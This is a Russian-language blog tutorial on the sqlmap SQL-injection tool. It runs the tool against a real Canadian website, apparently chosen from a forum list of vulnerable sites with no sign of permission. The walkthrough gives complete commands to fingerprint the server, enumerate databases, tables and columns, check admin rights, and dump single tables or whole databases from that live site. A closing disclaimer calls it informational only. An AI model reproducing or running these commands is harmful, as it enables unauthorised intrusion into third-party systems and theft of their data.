SQLMap - данная утилита работает на большинстве платформ и написана на Python'e.
Название программы: Sqlmap v.0.9
Назначение программы: Программа для проведения SQL inject
Линк на загрузку: http://sqlmap.sourceforge.net/#download
Домашная страница: http://sqlmap.sourceforge.net/
Некоторые ее возможности:
* Определения "банера системы" (сервера, интерпретатора скриптов, базы данных);
* Отображении имени пользователя, под которым работает атакуемое хозяйство;
* Отображение баз данных, таблиц, колонок и полей;
* Позволяет определить, есть ли у пользователя права администратора БД;
* Позволяет выполнять произвольные SQL-запросы;
* При хорошем стечении обстоятельств выдаст список пользователей и их хеш-пароли;
* Позволяет сделать дамп, как отдельных таблиц, так и полный;
* Может взаимодействовать со всем нам известным Metasploit'ом;
* Используя баги в базах данных, может прочитать разные файлы, лежащие на сервере, будь то текстовый файл или скрипт;
* Может взаимодействовать с дядей Гуглом;
* Есть поддержка прокси;
* Данные могут отправляться как методом GET(по умолчанию), так и POST;
* Если на сервере включена "magic quotes", то будет применено кодирование с использованием функции CHAR();
* Существует возможность создавать файлы конфигурации, для тех кому лень постоянно вводить команды;
* И еще много чего))
Вступление сделали - пришла пора потрогать утилитку.
Для начала нам ее нужно скачать. Для этого пройдем по адресу http://sqlmap.sourceforge.net и заберем свежую, на данный момент, версию "sqlmap 0.9".
Пользователям Windows следует качать "Portable версию", которая содержит на своем борту интерпретатор Python, который обязателен, для запуска SQLMap. Собственно для более комфортной работы с утилитой - советую скопировать cmd.exe в папку, где находится SQLMap.
А дальше нужно определиться с целью, на которой мы будет оттачивать свои навыки работы с SQLMap и для этого используем "паблик ресурсы"... Недолго думая - протопал я на Анти-Чат, в очень полезную тему(для тренировок разумеется) "Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > SQL Инъекции". Далее прошел на последнюю страницу и выбрал первую попавшуюся цель, "для пентестинга". Собственно ею стал, ничем не приметный, Канадский домен: http://blindcanadians.ca/press_releases/index.php?BriefID=50.
С целью определились - приступим к пентестингу:
Первое, что нам нужно сделать, это узнать, что крутится на сервере и что вообще это за сервер там такой.
Сказано - сделано:
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" -b -v 1
Windows: cmd.exe sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" -b -v 1
Windows: cmd.exe sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" -b -v 1
В приведенном выше обращении к SQLMap мы использовали три параметра. Собственно, Первый - это "-u", позволяет указать, над каким адресом, мы хотим произвести манипуляции, а Второй - это "-b", говорит о том, что мы хотим "банер". Третий параметр "-v", служит для определения уровня выводимой информации, их всего шесть "0-5".
Продолжим и узнаем под каким пользователем работает база данных:
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-user -v 1
Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-user -v 1
Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-user -v 1
Параметр "--current-user", просит SQLMap отобразить юзера. Далее, узнаем с какой БД сейчас работаем:
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-db -v 1
Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-db -v 1
Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --current-db -v 1
Параметр "--current-db", просит SQLMap отобразит БД.
Теперь попросим нашу утилитку узанать, есть ли у нашего пользователя права администратора. Делается это следующим образом:
Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --is-dba -v 1
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --is-dba -v 1
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --is-dba -v 1
Параметр "--is-dba" используется для определения прав администратора (True/False) у юзера. С помощью нехитрого параметра "--dbs", посмотрим список БД:
Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dbs -v 1
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dbs -v 1
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dbs -v 1
Далее, посмотрим таблицы в этих БД, используя параметр "--tables":
Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --tables -v 1
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --tables -v 1
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --tables -v 1
Так же, есть возможность посмотреть список таблиц в конретной БД, используя такую команду:
Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --tables -D blindcan_rating -v 1
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --tables -D blindcan_rating -v 1
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --tables -D blindcan_rating -v 1
Если захочется окунуться глубже, то можно посмотреть столбци конкретной таблици. Делается это так:
Windows: sqlmap -u "http://blindcanadians.ca/press_releases//index.php?BriefID=50" --colums -T Bulletin -D blindcan_bulletin -v 1
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --colums -T Bulletin -D blindcan_bulletin -v 1
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --colums -T Bulletin -D blindcan_bulletin -v 1
Параметр "-Т" указывает на конкретную таблицу, а параметр "-D" соответственно на базу данных.
Для тех, кого интересуют внутренности таблиц(ы) - могут использовать ниже приведенную команду, для дампа последней(них):
Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump -T Category -D blindcan_rating -v 1
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump -T Category -D blindcan_rating -v 1
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump -T Category -D blindcan_rating -v 1
Если же интересует, не вся таблица, а конкретные столбци, то их можно выбрать добавив параметры "--start" и "--stop". Выглядеть это будет так:
Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump -T Category -D blindcan_rating --start 1 --stop 5 -v 1
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump -T Category -D blindcan_rating --start 1 --stop 5 -v 1
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump -T Category -D blindcan_rating --start 1 --stop 5 -v 1
Параметр "--start" - указывает на начальную строку таблици, а параметр "--stop" соответственно - на конечную.
Сделать полный бэкап, можно используя параметр "--dum-all":
Windows: sqlmap -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump-all -v 1
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump-all -v 1
*nix: python sqlmap.py -u "http://blindcanadians.ca/press_releases/index.php?BriefID=50" --dump-all -v 1
Цель данной статьи была не объяснить и разъясненить всевозможные параметры данной утилиты, а подогреть интерес, тех кто с ней не знаком, а так же заинтересовать в ее дальнейшем использовании.
Собственно перечень всех команд, можно посмотреть в официально мануале "sqlmap user's manual" (EN), который находится в распакованном архиве "sqlmap/doc/README.(html|PDF)" или проследовать на оффсайт: http://sqlmap.sourceforge.net/doc/README.html.
PS: Продолжение следует...
PSS: Внимание! Информация предоставлена исключительно в ознакомительных целях! Ни автор, ни администрация за ваши действия ответственности не несут!
Комментариев нет:
Отправить комментарий